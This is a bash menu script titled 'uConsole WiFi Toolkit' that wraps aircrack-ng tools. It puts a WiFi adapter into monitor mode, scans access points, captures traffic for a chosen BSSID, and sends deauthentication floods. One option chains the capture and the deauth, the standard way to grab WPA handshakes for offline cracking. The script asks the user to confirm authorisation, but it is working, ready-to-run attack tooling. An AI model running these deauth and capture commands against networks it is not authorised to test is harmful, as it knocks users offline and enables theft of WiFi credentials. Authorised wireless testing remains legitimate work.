#!/bin/bash

# ============================================================
# USER SETTINGS
# Change these to suit your own setup
# ============================================================

IFACE="wlan1"                         # WiFi adapter used for monitor mode
CAPTURE_DIR="$HOME/wifi/captures"     # Folder to save captures

DEFAULT_WAIT_TIME=8                   # Seconds before deauth in option 6
DEFAULT_DEAUTH_COUNT=10               # Default number of deauth packets

SCRIPT_TITLE="uConsole WiFi Toolkit"

# ============================================================
# SCRIPT START
# ============================================================

pause() {
  echo
  read -p "Press Enter to continue..."
}

while true; do
  clear
  echo "$SCRIPT_TITLE"
  echo "===================="
  echo "Current interface: $IFACE"
  echo "Capture folder:    $CAPTURE_DIR"
  echo
  echo "1) Set $IFACE to monitor mode using iw"
  echo "2) Set $IFACE to monitor mode using airmon-ng"
  echo "3) Scan access points"
  echo "4) Capture BSSID/channel only"
  echo "5) Deauth test only"
  echo "6) Capture and deauth"
  echo "7) Show wireless interfaces"
  echo "0) Exit"
  echo
  read -p "Choose an option: " choice

  case "$choice" in
    1)
      sudo ip link set "$IFACE" down
      sudo iw dev "$IFACE" set type monitor
      sudo ip link set "$IFACE" up
      iw dev
      pause
      ;;

    2)
      sudo airmon-ng start "$IFACE"
      pause
      ;;

    3)
      echo "Scanning on $IFACE. Press Ctrl+C to stop."
      sleep 2
      sudo airodump-ng "$IFACE"
      pause
      ;;

    4)
      read -p "Enter BSSID: " BSSID
      read -p "Enter channel: " CHANNEL

      mkdir -p "$CAPTURE_DIR"

      sudo airodump-ng \
        -w "$CAPTURE_DIR/capture" \
        -c "$CHANNEL" \
        --bssid "$BSSID" \
        "$IFACE"

      pause
      ;;

    5)
      read -p "Enter BSSID: " BSSID
      read -p "How many deauth packets? Default $DEFAULT_DEAUTH_COUNT: " DEAUTH_COUNT
      DEAUTH_COUNT=${DEAUTH_COUNT:-$DEFAULT_DEAUTH_COUNT}

      echo
      echo "Only continue if this is your own network or an authorised test."
      read -p "Type YES to continue: " confirm

      if [ "$confirm" = "YES" ]; then
        sudo aireplay-ng --deauth "$DEAUTH_COUNT" -a "$BSSID" "$IFACE"
      else
        echo "Cancelled."
      fi

      pause
      ;;

    6)
      read -p "Enter BSSID: " BSSID
      read -p "Enter channel: " CHANNEL
      read -p "Seconds before deauth? Default $DEFAULT_WAIT_TIME: " WAIT_TIME
      read -p "How many deauth packets? Default $DEFAULT_DEAUTH_COUNT: " DEAUTH_COUNT

      WAIT_TIME=${WAIT_TIME:-$DEFAULT_WAIT_TIME}
      DEAUTH_COUNT=${DEAUTH_COUNT:-$DEFAULT_DEAUTH_COUNT}

      echo
      echo "Only continue if this is your own network or an authorised test."
      read -p "Type YES to continue: " confirm

      if [ "$confirm" != "YES" ]; then
        echo "Cancelled."
        pause
        continue
      fi

      mkdir -p "$CAPTURE_DIR"

      echo
      echo "[+] Starting capture on $IFACE..."
      echo "[+] Press Ctrl+C to stop capture when done."
      echo

      sudo airodump-ng \
        -w "$CAPTURE_DIR/capture" \
        -c "$CHANNEL" \
        --bssid "$BSSID" \
        "$IFACE" &

      AIRO_PID=$!

      sleep "$WAIT_TIME"

      echo
      echo "[+] Sending deauth packets..."
      sudo aireplay-ng --deauth "$DEAUTH_COUNT" -a "$BSSID" "$IFACE"

      echo
      echo "[+] Capture is still running."
      echo "[+] Press Ctrl+C to stop it."

      wait "$AIRO_PID"
      pause
      ;;

    7)
      iw dev
      pause
      ;;

    0)
      exit 0
      ;;

    *)
      echo "Invalid option."
      sleep 1
      ;;
  esac
done